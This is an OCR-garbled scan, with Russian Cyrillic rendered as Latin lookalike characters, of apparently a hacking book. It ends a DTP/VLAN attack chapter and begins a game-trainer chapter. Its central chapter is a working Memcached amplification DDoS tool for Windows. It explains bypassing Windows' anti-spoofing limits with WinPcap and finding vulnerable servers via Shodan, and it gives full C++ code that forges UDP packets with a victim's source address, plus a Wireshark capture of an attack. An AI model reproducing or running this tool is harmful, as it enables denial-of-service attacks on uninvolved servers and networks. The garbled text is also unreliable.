Tenepr 3Ta aTaka HEOCYlIECTBMMA, TaK KaK MOPTHI OOJblE HE PEarupyroT Ha HECaHK-
UHOHHUpOBaHHbIE Kaapbl DTP.

BuiBoAa

B aToii rnaBse s pazoOpan cuenapuii B3ioma npotokojia DTP u komMmpomerauuu cereit
VLAN. JInuHo 51 cuMTalo, uTo ucnojs3oBanue DTP B paMkax mpoaakiiieHa — 3TO SBHBIH
nNpuMep HEKauyecTBEHHOro ju3aiiHa ceT, MO0 MaructpaibHble KaHanbl a.k.a TpaHku
JIOJDKHBI OBITH TaM U TOJIBKO TaM, /i€ 3TO 3arjiaHupoBaHo. KoHeYHO, CeTeBOI aIMUHUCT-
paTop CIKOHOMHUT KaKOE-TO BpPEMsl Ha HACTPOHKE MarucTpalibHbIX KaHAJIOB C MCIOJIb30-
BaHueMm DTP, HO 9TO He CTOUT TOro, 4YTOObI MOJIB30BATHCS CTOJh HEOE30MACHBIM pellie-
HHEM B ceTH. M oueHb Kajb, 4TO KOH(GUIypaUHio 3TOr0 MPOTOKOJA A0CTaTOYHO YacTO
OCTaBJIAIOT 6€3 10KHOro BHUMaHus. Ho Teneps Thl 3Haellb, 4To AenaTh!
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DDoS ¢ ycuneHuem.
O6xoaum Raw Security
v nuwem DDoS-ytunuty ana Windows

yuriy.nelkmen

IIpoxonsaT roxel, a DDoOS octaeTcs MOLIHBIM HHCTPYMEHTOM XaKEPCKHX IPYIMIHPOBOK.
ExenneBno B mupe mpoucxoaut 500-1000 arak takoro tuna. Kaxablil pa3 3710yMblIL-
JICHHUKH HaXOIAT HOBbIE YS3BUMOCTH B MOMYJSPHBIX CEPBHCAX, KOTOPbIE MO3BOJISIOT
NPOBOAMTE aTakH «c ycujaeHHem». Pazpaborunkn Windows akTHBHO OOpIOTCS € ITHM,
YCIIOXKHSIS )KH3Hb XaKepaM M OTceKast BpeIOHOCHbIE 3apochl Ha CHCTEMHOM ypoBHe. Ce-
rOAHSA MBI IOTOBOPHM O TOM, KaK 3TH Mperpansl 00XoIiT.

BHUMAHUE!

MaTepuan HOCUT 03HaKOMUTENbHbLIA XapakTep. ABTOP U pefaKUMsA He HECYT OTBETCTBEHHO-
CTu 3a nobon Bpes, NPUYMHEHHBIN C UCNONb30BaHWEM NonyyeHHon nHdopmauuu. Mpexae
YeM NPoBOAMUTL HArpy3o4Hoe TecTupoBaHue Beb-caita, Heob6XoaNMO 3aKMHYUTL NUCBEMEH-
HOe cornaileHve c ero snagensuem. B npoTneBHoMm cnyyae HapyleHue paboTbi cUCTEMbI
MOXeT NpecneaoBaThbCs MO 3aKOHY.

Kax BMOHO M3 CTaTHCTHKH, MOKa3aHHOH Ha puc. 14.1, Hanbonee pacnpocTpaHEHHbIH Bek-
TOp — 3TO aTaKH Ha CEPBHCHI (MJIH C UCMOJIb30BAHHEM CEPBHCOB), KOTOPBIE HCMOJB3YIOT
npotokoa UDP (puc. 14.2).

3neck Bce oueHb npocto. UDP, B oTiiH4Me OT Apyrux MpOTOKOJIOB, HE TPEOYET ceccuu, a
OTBET Ha 3aMpoChl OTMPABISCTCS HEMEUICHHO. B 3TOM OCHOBa aTaku «C YCHIECHHEMY.
Mbl MoxeM (HOpMHPOBATh 3aMPOChl K HEKOTOPBIM CEPBHCAM TaKUM 00pa3oM, YTOOBI OT-
BET OBLI B AECATKH pa3 Ooublie, 4yeM cam 3ampoc. COOTBETCTBEHHO, €CJIM 3TH OTBETHI Oy-
IYT IepeHanpaBieHbl Ha MalllMHY JXE€PTBbI, aTaKyIOLIHH CMOXET IeHepupoBaTh Tpaduk
HEBEPOATHOH MOLIHOCTH.

YT100BI MpenoTBpaTHTh TAKOrO pojJa aTakH, pa3paboruuku u3 Microsoft ycraHoBHIH
OrpaHHYeHHs Ha MaHHUITYJMPOBAHHE MAKETaMH.

[10NE3HASA CCbINIKA

MogpobHocTM uM3noxeHbl B AokyMeHTaumu Microsoft: https://docs.microsoft.com/en-
us/windows/win32/winsock/tcp-ip-raw-sockets-2?redirectedfrom=MSDN.
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Puc. 14.1. CtatucTuka aTtak

o TcP @ GRE @ HTTP

Puc 14.2. icnonb3yemMble 310yMbILLAEHHUKAMW NPOTOKONbI

* UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source

address for any outgoing UDP datagram must exist on a network interface or the datagram is

dropped. This change was made to limit the ability of malicious code to create distributed denial

of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged

source |P address)

Puc. 14.3. MNMyHkT B AokyMeHTauuu Microsoft

OO6patn BHUMaHHE Ha JTOT ITyHKT AOKyMeHTauuH (puc. 14.3).
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IIpssimo 3asBieHo, uro OC He mo3BoauT otnpaBiate UDP-nmaketsl ¢ monem IP-agpeca
NOJ/IETLHOTO OTIIPABUTEIIS.

3aueM HaM 310 HY»HO? J[en0 B TOM, 4TO TpadukK, KOTOPBIA MBI MOJYyYaEM OT YSI3BUMBIX
OTBETOB CJIYXKO, MOXET OBITh KaKUM-TO 00pa3oM NepeHanpaBieH Ha CEPBEPHI XKEPTB.
A 3TOro MOXHO 100uThCS, MpocTto M3MeHUB IP-anpec ormpaBurens B 3arosoBke UDP-
nakera. Torza ys3BUMBI cepBep MOJYMAEeT, YTO 3alPOC MOCTYNHII C KOMIBIOTEPA KEPT-
Bbl, U OTIIPABUT HA HETO OTBET.

Kto He 3HaKkoM co cTpykTtypoit naketa UDP, Moxxetr mocMoTpeTs Ha pucyHok 14.4. Tam
HU4YEro 0COOEHHOro HeT, OPpMHPOBAHHE CAMOr0 NMaKeTa MBI pa3bepeM mosxe.

Sour e Port ] [ Destination Port
\ - . UDP
Length J ( Checksum Header
Data

Pwuc. 14.4. Ctpykrypa naketa UDP

CoOcTBEHHO, U3 TOKYMEHTAI[MH MOHATHO, YTO CTAHAAPTHHIE UHCTPYMEHTHI U OHOIHOTE-
k1 Windows He MO3BOJISIOT MOA/EIIBIBATE ajpec oTnpasutelis. s nposeaenus DDoS
3TO HY>KHO OOOHTH, ¥ HA MOMOLUb 3JI0CI0 HIIH XKeJIAIoLEMY MTPOBECTH Harpy304HbIi TeCT
NPUXOJIUT Takast BoyeOHas Bellb, kak WinPcap (https:/www.winpcap.org/).

C WinPcap MoxHO (popMHpOBaTh MakeThl OTHMPAaBKU HE3aBUCHUMO OT HHCTPYMEHTOB
Windows. U 310 He mpocto 6ubnuoreka 11 o6padborku nakeros ajus C++, a coOcTBEH-
HbIl apaiBep NPF (https://www.winpcap.org/docs/docs_412/html/group__ NPF.html).

b . User
Applicatien Application (]
Kemel
Level
NIC
Driver
Packets Metwork

Puc. 14.5. MNMpouecc co3gaHnsa n MHKancynsuum nakeTos
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Ecnn Bkpatue, To 310 paboraer Tak. Mbpl MOXEM YCTaHOBHTh KAaCTOMHBIH IpaiBep mpo-
TOKOJIa, IPH HallMCaHUH NPOrpaMMBbl MbI OyieM cchlnathest Ha Hero. OTTyna nakertsl Oy-
OyT nepenaBathcs Ha apadBep Network interface card (NIC) u uaru nanemie mo certH.
Takum 006pazoM, MbI CMOXXEM MOJHOCTbIO KOHTPOJIMPOBATh MPOLIECC CO3JaHHUs M HMHKAl-
CynsuuH nakeros (puc. 14.5).

Nuwem yasBuMble cepBepbl

Jln1s moHMcka ysA3BHMBIX CEPBEPOB IIMPOKO HCMONb3yeTcs nouckoBuk Shodan. JlaBai mist
npuMepa nonpobyem HaiTH cepBepbl Memcached, koTopble HCNONB30BAMHCH IS aTaKH
Ha Github Heckonbko neT Ha3aa. BBOAHM product : "Memcached" M BHJIHM, 4TO CEPBEPOB
ocTaercs Bce elle o4eHb MHOTO (puc. 14.6).

Explore Downloads Pricing 2

United States

China

France

Germany 1,197

Russian Federation 1.018

192.151.245.78

=2 United States, Des

Puc. 14.6. MNowuck yassumbix yanos B Shodan

Pa3paboTunk HCpaBH YSI3BHMOCTb, H TENEphb MOPT, HA3HAYCHHBIH MO YMOJIYaHHIO, 3a-
MeHeH ¢ 11211 na TCP. Ho, HecMOTpst Ha 3TO, B MHTEPHETE OCTAJHCh THICSYH YSI3BHUMBIX
CEepBEPOB.

Y Shodan ectb ¢unstphl (https://help.shodan.io/the-basics/search-query-fundamentals),
KOTOpbIE [TOMOTAIOT MCKaTh HEOOXOJHUMbIE CEPBHCHI M CepBephl. [yl MPaKTHKH MOXHO
nonpoboBarb HaiiTH cepBuchl RDP ¢ moptrom UDP/3389, xoropble Takxe YsA3BHMBI
(https://www.netscout.com/blog/asert/microsoft-remote-desktop-protocol-rdp-
reflectionamplification) 11 atax ammngukaunu (¢ koapduuneHrom 85,9 : 1).
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Pa3paboTka

Mb1 MOXEM CO31aTh MpOrpamMMy Ul 3KCILUTyaTaliMH ys3BUMOCTH cepBepoB Memcached,
DDoS c ycunenuem. [Ipexae Bcero, Hy)KHO HaCTpOHTh pabouyto cpeny (puc. 14.7, 14.8,

14.9).

O VcranaBnuBaeM HeoOxomumsblil npaiiep (https://www.winpcap.org/install/) (ects
Bepcus st Windows 10 (http:/www.winl0Opcap.org/download/), ona noanepxusa-

eT Oonbiie HHTEpQEcoB).

O CkauuBaem 6ubnHotexy Winpcap Developers Pack
(https://www.winpcap.org/devel.htm).

O Ilonkmouaem OHOIHOTEKY B IIPOEKT.

Pive
g Llnkev Link Library Dependencies

Use Library Dependency Inputs
Link Status

Prevent DIl Binding

Input
Manifest File

Alt Options Register Output No
Command Line Per-user Redirection No i
Additional Library Directories C:\Users\Haeker\source\vcpkg-master\packages\WpdPack\l

=Xz

Debugging
Treat Linker Warning As Errors
System N
S Force File Output
Optimization

Create Hot Patchable Image

il Specify Section Attributes

Windows Metadata

sC:\Users\Hackef\source\vcpkg-master\pa-kages\Wpd Pack\Lib -~

Advanced -
All Ootions il — — s EESESIESSSS————— . |
Puc. 14.7. Hactpoiika paGouein cpeab!
3 = RS R A MR ST I
Debugging Additional Indude D}redo;ies ; C:\Use.rs\ﬂacker\!oum-a-\vcpkg-master\paél;age_s\w;dI;ack\.l.g
VC++ Directories Additional #using Directories
Additional BMI Directories

4 C/C++

| General |
Optimization
Preprocessor

Additional Module Dependencies
Additional Header Unit Dependencie:

S

Code Generation
tanguage
Precompiled Headers

Output Files

ster\packages\WpdPack\Indude
Browse Information ‘
External indudes
Advanced
All Options
Command Line

< | e TR

B3

«{ ipport (/dr}

Puc. 14.8. ®ainbi ¢ 3aronoskamu

B camom IMPOEKTE A HCII0JIB30BAJI CJICAYIOITHE MOAYJIH!

#define ALLOW KEYWORD MACROS // OTKIOUMTE NpemynpexneHue

#include <winsock2.h> // 3mechb HyxHue HaMm OyHKUy, Takme Kak htons() htonl ()

#pragma comment (lib,"WS2 32.1ib")

#include <Iphlpapi.h>// IloMoxeT HaM HamTy mHPOpPMaLMIO NPO CETEBHE AaIANTEpPH M MX

XapaKTEePUCTUKNA
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#pragma comment (lib,"Iphlpapi.lib")

#include <pcap/pcap.h> // CobcrBeHHo, WinPcap
#pragma comment (lib,"wpcap.lib")

#include <iostream> // 3meck Ham HyxHa QyHkuma sprintf ()
#include <stdio.h>

#include <thread>

#define HOST sin_addr.S_un.S_addr // llepeMeHHue nnsa nakera

using namespace std;

Puc. 14.9. Makpochbl

[TepeiinemM k rnaBHOH 3amaye mporpamMmsl — (opMupoBanuio nakeroB. I[lodzem mo
MyHKTaM.

PyHKUMA BbIOOpa nHTepcenca,
M3 KOoTOoporo 6yayT noctynarthb nakeTbl

string devices[15];
void ShowDeviceLlist (void)
{
char Error[PCAP_ERRBUF SIZE];

pcap_if t* Devices; pcap_findalldevs_ ex (PCAP_SRC_IF STRING, NULL, &Devices,
Error);

int i = 1;

for (pcap_if t* CurrentDevice = Devices; CurrentDevice != NULL;
CurrentDevice = CurrentDevice->next)

{

devices[i] = CurrentDevice->description;
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//string a = CurrentDevice->description;
//cout << 1 << ", " << a << endl;
i++;

’

Hanee Tbl MOXeLIb BbIBECTH HUX YIOOHBIM CIOCOOOM, BbIOpaTh H MCIMOJIb30BAThH AJIS OT-
NpaBKH.

Hanpumep, B Moeii mporpamMme 3TO BBITJSAUT KaK Ha CKpUHIIOTE Hibke (puc. 14.10).

Puc. 14.10. OTnpaBka nakeTos

PyHKunmn chopmuposaHna UDP-nakeTa

unsigned char* FinalPacket;
unsigned int UserDatalen;

unsigned short BytesTol6 (unsigned char X, unsigned char Y)
{
unsigned short Tmp = X;
Tmp = Tmp << 8;

Tmp = Tmp | Y;
return Tmp;
t

unsigned int BytesTo32 (unsigned char W, unsigned char X, unsigned char Y,
unsigned char Z)

{
unsigned int Tmp = W;
Tnp = Tmp << 8;
Tmp = Tmp | X;
Tmp = Tmp << 8;
Tmp = Tmp | Y;
Tnp = Tmp << 8;
Tmp = Tmp | Z;
return Tmp;
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unsigned char* MACStringToBytes (LPSTR String)
{
char* Tmp = new char([strlen(String)];
memcpy ( (void*) Tmp, (void*)String, strlen(String));
unsigned char* Returned = new unsigned char([6];
for (int 1 = 0; i1 < 6; i++)
{
sscanf (Tmp, "%2X", &Returned([i]);
memmove ( (void*) (Tmp), (void*) (Tmp + 3), 19 - 1 * 3);
}
return Returned;
}

unsigned short CalculateIPChecksum(UINT TotalLen, UINT ID, UINT SourceIP, UINT
DestIP)

{
unsigned short CheckSum = 0;
for (int i = 14; 1 < 34; i += 2)
{
tools tool2;
unsigned short Tmp = tool2.BytesTol6 (FinalPacket[i], FinalPacket([i + 1]);
unsigned short Difference = 65535 - CheckSum;
CheckSum += Tmp;
if (Tmp > Difference) { CheckSum += 1; }
}
CheckSum = ~CheckSum;
return CheckSum;
}
unsigned short CalculateUDPChecksum(unsigned char* UserData, int UserDatalen,
UINT SourceIP, UINT DestIP, USHORT SourcePort, USHORT DestinationPort, UCHAR
Protocol)
{
unsigned short CheckSum = 0;

unsigned short PseudolLength = UserDatalen + 8 + 9; //Length of PseudoHeader
= Data Length + 8 bytes UDP header (2Bytes Length,2 Bytes Dst Port, 2 Bytes Src
Port, 2 Bytes Checksum)

//+ Two 4 byte IP's + 1 byte protocol

PseudolLength += Pseudolength % 2; // If bytes are not an even number, add
an extra.

unsigned short Length = UserDatalen + 8; // This is just UDP + Data length
needed for actual data in udp header

unsigned char* PseudoHeader = new unsigned char[PseudoLength];
for (int i = 0; i < Pseudolength; i++) { PseudoHeader[i] = 0x00; }

PseudoHeader [0] = 0x11;

memcpy ( (void*) (PseudoHeader + 1), (void*) (FinalPacket + 26), 8); // Source
and Dest IP
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Length = htons (Length);

memcpy ( (void*) (PseudoHeader + 9), (void*)&Length, 2);
memcpy ( (void*) (PseudoHeader + 11), (void*)&Length, 2);
memcpy ( (void*) (PseudoHeader + 13), (void*) (FinalPacket + 34), 2);
memcpy ( (void*) (PseudoHeader + 15), (void*) (FinalPacket + 36), 2);
memcpy ( (void*) (PseudoHeader + 17), (void*)UserData, UserDatalen);

for (int i = 0; i < Pseudolength; i += 2)
{
tools tool2;
unsigned short Tmp = tool2.BytesTol6 (PseudoHeader[i], PseudoHeader[i +
11);
unsigned short Difference = 65535 - CheckSum;
CheckSum += Tmp;
if (Tmp > Difference) { CheckSum += 1; }
}
CheckSum = ~CheckSum; //One's complement
return CheckSum;
}
void SendPacket (pcap_if t* Device)
{
char Error[256];
pcap_t* t;
t = pcap_open (Device->name, 65535, PCAP OPENFLAG DATATX UDP, 1, NULL,
Error);//FP for send
pcap_sendpacket (t, FinalPacket, UserDatalen + 42);
pcap_close(t);

}
void CreatePacket

(unsigned char* SourceMAC,
unsigned char* DestinationMAC,
unsigned int SourcelP,
unsigned int DestIP,
unsigned short SourcePort,
unsigned short DestinationPort,
unsigned char* UserData,
unsigned int  UserDatalen)

UserDatalen = UserDatalen;

FinalPacket = new unsigned char [UserDatalen + 42]; // Reserve enough memory
for the length of the data plus 42 bytes of headers

USHORT TotalLen = UserDatalLen + 20 + 8; // IP Header uses length of data
plus length of ip header (usually 20 bytes) plus lenght of udp header (usually
8)
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//Beginning of Ethernet II Header

memcpy ( (void*) FinalPacket, (void*)DestinationMAC, 6);

memcpy ( (void*) (FinalPacket + 6), (void*)SourceMAC, 6);

‘USHORT TmpType = 8;

memcpy ( (void*) (FinalPacket + 12), (void*)&TmpType, 2); //The type of
protocol used. (USHORT) Type 0x08 is UDP. You can change this for other
protocols (e.g. TCP)

// Beginning of IP Header

memcpy ( (void*) (FinalPacket + 14), (void*)"\x45", 1); //The Version (4) in
the first 3 bits and the header length on the last 5. (Im not sure, if someone
could correct me plz do)

//If you wanna do any IPv6 stuff, you will need to
change this. but i still don't know how to do ipv6 myself =s

memcpy ( (void*) (FinalPacket + 15), (void*)"™\x00", 1); //Differntiated
services field. Usually 0

TmpType = htons (TotallLen) ;

memcpy ( (void*) (FinalPacket + 16), (void*)&TmpType, 2);

TmpType = htons (0x1337);

memcpy ( (void*) (FinalPacket + 18), (void*)&TmpType, 2);// Identification.
Usually not needed to be anything specific, esp in udp. 2 bytes (Here it is
0x1337

memcpy ( (void*) (FinalPacket + 20), (void*)"\x00", 1); // Flags. These are
not usually used in UDP either, more used in TCP for fragmentation and syn acks
i think

memcpy ( (void*) (FinalPacket + 21), (void*)"\x00", 1); // Offset

memcpy ( (void*) (FinalPacket + 22), (void*)"\x80", 1); // Time to live.
Determines the amount of time the packet can spend trying to get to the other
computer. (I see 128 used often for this)

memcpy ( (void*) (FinalPacket + 23), (void*)™\x11", 1);// Protocol. UDP is
0x11 (17) TCP is 6 ICMP is 1 etc

memcpy ( (void*) (FinalPacket + 24), (void*)"\x00\x00", 2); //checksum

memcpy ( (void*) (FinalPacket + 26), (void*)&SourceIP, 4); //inet addr does
htonl () for us

memcpy ( (void*) (FinalPacket + 30), (void*)&DestIP, 4);

//Beginning of UDP Header

TmpType = htons (SourcePort) ;

memcpy ( (void*) (FinalPacket + 34), (void*)&TmpType, 2):

TmpType = htons (DestinationPort) ;

memcpy ( (void*) (FinalPacket + 36), (void*)&TmpType, 2):;

USHORT UDPTotallen = htons (UserDatalen + 8); // UDP Length does not include
length of IP header

memcpy ( (void*) (FinalPacket + 38), (void*)&UDPTotallen, 2);

memcpy ( (void*) (FinalPacket+40), (void*) &TmpType, 2); //checksum

memcpy ( (void*) (FinalPacket + 42), (void*)UserData, UserDatalen) ;

unsigned short UDPChecksum = CalculateUDPChecksum(UserData, UserDatalen,
SourcelIP, DestIP, htons (SourcePort), htons (DestinationPort), 0x11);

memcpy ( (void*) (FinalPacket + 40), (void*)&UDPChecksum, 2);
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unsigned short IPChecksum = htons (CalculateIPChecksum(TotalLen, 0x1337,
SourcelP, DestIP))

memcpy ( (void*) (FinalPacket + 24), (void*)&IPChecksum, 2);

return;

dopmMmupoBaHuMe nakeTa

pcap if t* ChosenDevice;

char SourcelIP[16] = "111.221.111.111";
for (int 1 = 0; i < 16; 1i++) {
SourcelIP[i] = target ip[i];
}
char SourcePort[6] = "11211";
char SourceMAC[19] = "00:26:57:00:1£:02";
char DestinationIP[16] = "192.168.0.105";

for (int 1 = 0; 1 < 16; i++) {

DestinationIP[i] = bot ip[i];
}
char DestinationPort[6] = "11211";
char DataString(2048] = '"stats";

int chosen = chosen device;

DevicelInfo di;
di = tooll.GetAdapterInfo (ChosenDevice) ;

RawPacket RP;

RP.CreatePacket (tooll.MACStringToBytes (SourceMAC), di.GatewayPhysicalAddress,
inet addr (SourcelIP), inet addr (DestinationIP),
atoi (SourcePort), atoi (DestinationPort),
(UCHAR*) DataString, strlen(DataString));

OTtnpaBka nakera

void SendPacket (pcap if t* Device)
{
char Error[256];
pcap_t* t;
t = pcap_open (Device->name, 65535, PCAP_OPENFLAG DATATX UDP, 1, NULL,
Error);//FP for send
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pcap_sendpacket (t, FinalPacket, UserDatalen + 42);
pcap_close(t);
}
RP.SendPacket (ChosenDevice) ;

[TocneaHue HECKONBKO CTPOK MOXKHO MOMECTHTb B UMKJ W Hadyath DDoS-araky. Tecro-
BOI1 LIeIbIO OYaET cepBep ¢ aapecom 18.181.248.145. B Wireshark 30 Bce Oyaer Bbiris-
JIE€Th MPUMEPHO TaK:

|4 -tchemer =14d
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
iN"@ IR ReazxzF i =Eaan
R [ip.addr == 18.181.248.145 s ]+
No. Time Source Destination Protocot  Length  Info
18 2.950371 18,181.248.145 85,62.36.33 RENCACHE 148 stats
17 2.958382 18.181,248.145 85.62.36.33 NEMCACHE 148 stats
18 3.918184 18.381. 248,145 85.62.36.33 RENCACHE 148 stats
19 3.018196 18.181.248,145 85,62.36.23 MEMCAGHE 148 stats
22 3.342320 18.181,248,145 112,78.48.187 HENCACHE 138 stats
23 3.442331 15.181,208, 145 112.78.18.387 AENCACHE 148 stets
28 3.508541 18.181,248.145 112,78.10.387 MEMCACHE 148 stats
25 3.508553 1%.182.248.345 312.78.38.182 BENMCACHE 148 stats
28 3.942894 15.181:248.145 202.105.257.63 HEMCACHE 148 sxats
29 3.992965 18.181.248.145 202.165.247.63 MEWCACHE 148 stats
30 4.809335 18.181.248.145 202.165, 247,63 NEmCACHE 148 stats
31 4.eeg546 18.181.248.345 262.195.247.62 MEWCACHE 148 stats
34 4.433569 18.167.248, 345 121.40.71.75 MEUCACRE 148 srats
35 4.433579 18.181.248.145 121,40.72.75 MEMCACHE 148 stats
38 4.45007% 98.38%.248,145 121,49.71,75 MEMCACHE 128 srats
37 4.450187 18.181.248.145 121.40.71.75 MEMCACHE 148 stats
46 3.834584 18.181.248.145 101.201.199, 342 FEMCACHE 148 state
41 4.834634 18,181,248.145 10%.201.199. 182 MEMCACHE 198 stats
42 4.856297 18.181,248.145 101.201.199.182 HEMCACHE 148 stats
53 4.856321 18.181.248.145 101.281.299.282 HIEMCACHE 148 stats
45 5,280916 18.182.248.145 129.144,63 .83 MENCACHE 148 stats
Freme 130: 148 bytes on wire (1184 bits), 148 bytes captured (1184 Wits) cn interface \Device\NPF_{28462658-68D5-428D-8060-705F4E915A2F), id @
> Ethernet 1T, Src: WppEkra BBi1f:162 (€0:26:57:09:1F:82), Ost: Tp-LinkT c3:93:66 (d8:@d:17:c3193:66)
Internet Protocol Version 4, Src: 18,181.248.145, Dst: 47.98.76.166
| User Datagram Protocal, Src Port: 11211, Dst Port: 11211
i Memcache Protocol
coeo FUCEMEMSHIET oo 26 5766 15 0208004500 M aw ¢ -
¥ wireshatk EthernetYSRW20.pcapng Packets: 5343 - Displayed: 40 (0.7%) Profile: Default

Pwc. 14.11. Xog aTtaku B Wireshark

[TakeThl OTNPaBIAIOTCS Ha Ys3BHMBIE CEPBEPBI, KOTOPbIE BHAAT Hally Liejb B KauecTBE
otnpaButens (puc. 14.11).

3aknryeHue

KOII, ONHCaHHBIN BbILLIC, CAMOJOCTATOYECH. Ecnu 1hI 6yﬂelﬂb MUCaThb 3KCIIJIOUT OJIA T10-
HO6HOFI YA3BHUMOCTH, TO, CKOpPEEC BCEro, NMpUACTCd MAHHNYJIMPOBATb TOJIBKO I10JIAMH
DataString (Meiyioan), Dest/Source Port, Dest/Source IP.

[Ha, Obi10 OBl TOpa3no npolle caenath Bce 3TO Ha Linux, H OONBLIMHCTBO TakKHX MpO-
rpamMM HanMcaHbl KaK pa3 Takd Aj1s1 Hero. Ho 3To He 3HauMT, 4TO MBI HE MOXEM 3KCIEpH-
MEHTHPOBAThb U YriyONaTh 3HaHHs!
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YuT cBOMMU pyKaMM.
BckpbiBaeM KOMNbIOTEPHYIO Urpy
U NUwem TpenHep Ha C++

neeko

Hrpatpb B Urpsl JIIOOAT BCE, HO 3TO ropa3io HHTEpECHee, Koraa y Teds MMeeTcss HECKOH-
YyaeMbl# 3armac naTpoHOB U 340poBbi. UTOOB! 003aBECTHUCH U TE€M, U APYTHM, MOXKHO IO-
TYTJIMTh YUTHI U TPEHHEpHl [ii TBoeH mroOumoi urpel. Ho kak ObITh, €ciM HX elle He
paspaboramu? Hammcate camomy! O6namasd HaBBIKAMH pEBEPC-HHXMHHPHHIA M IIPO-
rpaMMHpPOBaHHs, CENIaTh 3TO HAMHOTO MPOLIE, YeM KaXKeTCH.

Bbibop urpsbl

Jna Hayana ompenenuMcs c urpoi. Mok BeiGop man Ha Hyper Light Drifter
(https://www.pcgamingwiki.com/wiki/Hyper_Light_Drifter, nanee HLD). Eciu TbI
IUIaHHpYELIb MO3KCIIEPUMEHTHPOBAaTh C KOMMEPYECKOH HrpoH, oOpaTH BHHMaHHE Ha
caiitr pcgamingwiki (https://www.pcgamingwiki.com/wiki’Home), a Taxxe Ha MIpHl C
OTKpHITBIM HcXxonHbiM kogoM (https://en.wikipedia.org/wiki/List_of open-source_
video_games).

BHUMAHMUE!

Tak kak Ana HanucaHWA 3Ton cTaTbu 8 Gyay UCNONb30BaTb KOMMEPYECKYIO UTPY, MHE HYXXHO
yAOCTOBEPUTLCA, YTO NUEH3NOHHOe cornawexune (EULA) nossonseT ato aenars.

HadvaB ycTaHoBKYy M BHUMaTenbHO npoyutae TekcT EULA, s y6eauncs, 4TO B HEM SiIBHO 3a-
npeulaeTca HanucaHWe U pacnpocTpaHEHWe TONbKO TEX YUTOB U TPENHEPOB, KOTOPbLIE Me-
watot pabote cepsuca, a B HalweM cny4ae Hu4ero nogobHoro He nnaHupyetcs. Moatomy
cMeno npogomkaemM yctaHosky (puc. 15.1).

NMouck 3Ha4YeHun

Jlnsa moucka 3HaueHHH, KOTOpble OyAeT U3MEHATh YUT, MBI CTaHeM Hcnonbs3oBaTh Cheat
Engine (https://www.cheatengine.org/downloads.php, nanee — CE).

3amycTUM UIPy U B HACTPOHKAX Urphl BEIOEpEM OKOHHBIH PEeXHUM — HaM HYXHO, YTOOBI
Ha 3KpaHe MOMELLAIOCH eLIe YTO-TO, KPOME HUIPHI.
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u Hyper Light Drifter Ycranoska

R»ueranomwe cornaweHne

OSQCVMM&H GOG 6e3 Heoﬁxonmom npuberatb K AW wm npyrm nono&uq cpencraan
|© *(d) He B2n@e:@aliTe, He HB1004TE BpEA, He HewanTe PaboTe U HE HAPYWATE MPABANG SKOUYaTALIM
Epacod GOG 1 KoHTeHTa GOG, a TAOKE He MIMMENSITE 3HaNorratre ASKTEAA K ADYIMVM NQIB30BATENAM
GOG um coTpyaresan GOG.

* (e) He coznasanre, He HOWOM3YIATE, He MDeANAraITTe APYTUN Ui He PRCTPOCTPINAATE YT KOAbi,
IANOTHI, PEACTBA 3BTOMATU3ASMM, poboToB, 60T0B, MOAY, B3NoMD), NAYKOB, uFBiaraKoe MO, WT-KoAY,
QPMITTEl, TPSHEDH, (DEACTBA ANA UIBREEHMA AaHHbiX UM ApYToe MO, Twmbroe B3aMoASHCTBORATL UM
BMATH Ha paboTy cepauene GOG Tem um 1o 6OpasoM (Bxeouas, HO He FpRSA@ANCH NRobLRed
HE3BTODU3OBIOLT91 CTOPOHA4 TDOMPAHIAMA AN1A NEPEXBATA, IMYNISLIM UM Nepe-arpannerss coofuiierssh
Mexay komnarssein GOG um ee MNapTHepae u cepamcaiss GOG i motihes) HEOAOGPETE:081 CTOPOVE SR04
PP, COGHpIoWIMM Lesdoprasso 0 ceperax GOG).

‘(?)thremspawwemﬂoromoaﬁmqm@umwxnopm B TOM
YACHE NOPERCTBON TYHREMDOBAIIN, BHEAPEIMA KOAE, MOAN]: 81 TIPOTP 0C se138 GOG,; ¢
NI 308AHNEN nonoﬁvuxmorpam BMecTe ¢ ¥anyrami um matepuanami GOG, NOCDEACTBOM SMYNSUM

COXpaHWTL TeKCT |

Puc. 15.1. EULA HLD

SCREEN MODE WINooweo

[ seLecT

Puc. 15.2. OKOHHbIN pexum

Kak BHOMM, B OKOHHOM pE€XHME OTCYTCTBYET IaHENb 3arojoBKa, C MOMOIIbBI0 KOTOPOH
MBI Mo OBl NepeTackUBaTh OKHO UIphbl MO 3kpaHy (puc. 15.2). UroObl HCNIpaBUTH 3Ty
HEMPUATHOCTh, OTKpoeM omianduk x64dbg (https://sourceforge.net/projects/x64dbg/
files/snapshots/), a uMeHHO ero 32-6uTHYI0 BepcHIo (x32dbg) U 3amycTuM mog HumM HLD.
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[ToctaBuUM OpeHK-MOMHTHI Ha (DYHKIIUH CreateWindowExA M CreateWindowExW, KOTOPbBIE
OTBEYAIOT 3a co3AaHue okHa. Hailith ux MoxHo Ha Bknaake Symbols, BeiOpaB 6ubnnore-

KY user32.d11 (puc. 15.3).

i m-..,\s
i ndons

b} i1
ey (umunmnx e
e G ot ..'i‘m. ¥

g e
o nm\»sf‘u&-( ot vingme

<o S
S ettt ST

e 45 918054 duc LAE6.0, 30001 20 mne o5
st o PR e s W e

410986 abedss) conct112,41Y
(SH0a 2777 454 A Pz )

Frer\DINEA3. 411

Buaum, 4To Haule OKHO CO3/IA€TCSA C napaMeTpoM dwStyle, HMCIOIUUM 3HAYECHHUE WS _POPUP

= 0x80000000 (puc. 15.4).

i
!gsgssﬁﬁﬁ
§3 8 JE6

338

y

#auan

H
§e

333333333
4

Eantaeet.

y

&
43

]

&3

fpppldtgh
3 *g

38 4
8

(€SP + 107, £OK

CELEEFIILHE

a8
E :
3

SS:{ESP » 6C]

Puc. 15.3. Bknagka cumeonos

L]
o0
A

528080 424480 <CreatewindunExis

3 Showns  Bowss

o 74 Z o
G5 oo THEERE|6e e b ot

warhs el sna

P
sinqvey |

¥ 41
| omosirac fod
il 405

i 5o
i

L viGmoub e yvr
Fyoer Tiohta-Fter. 01230EAC

% BRGERNEE ;
i
e

§
g

[TomeHsieM 3TO 3HAUECHHUE Ha WS_OVERLAPPED =

Puc. 15.4. 3HaueHue napameTpa dwStyle, pasHoe WS_POPUP

0x00000000 (puc. 15.5).

U BOT pe3yabTar: TEnepb Mbl MOXEM NepeMelaTh OKHO (puc. 15.6).

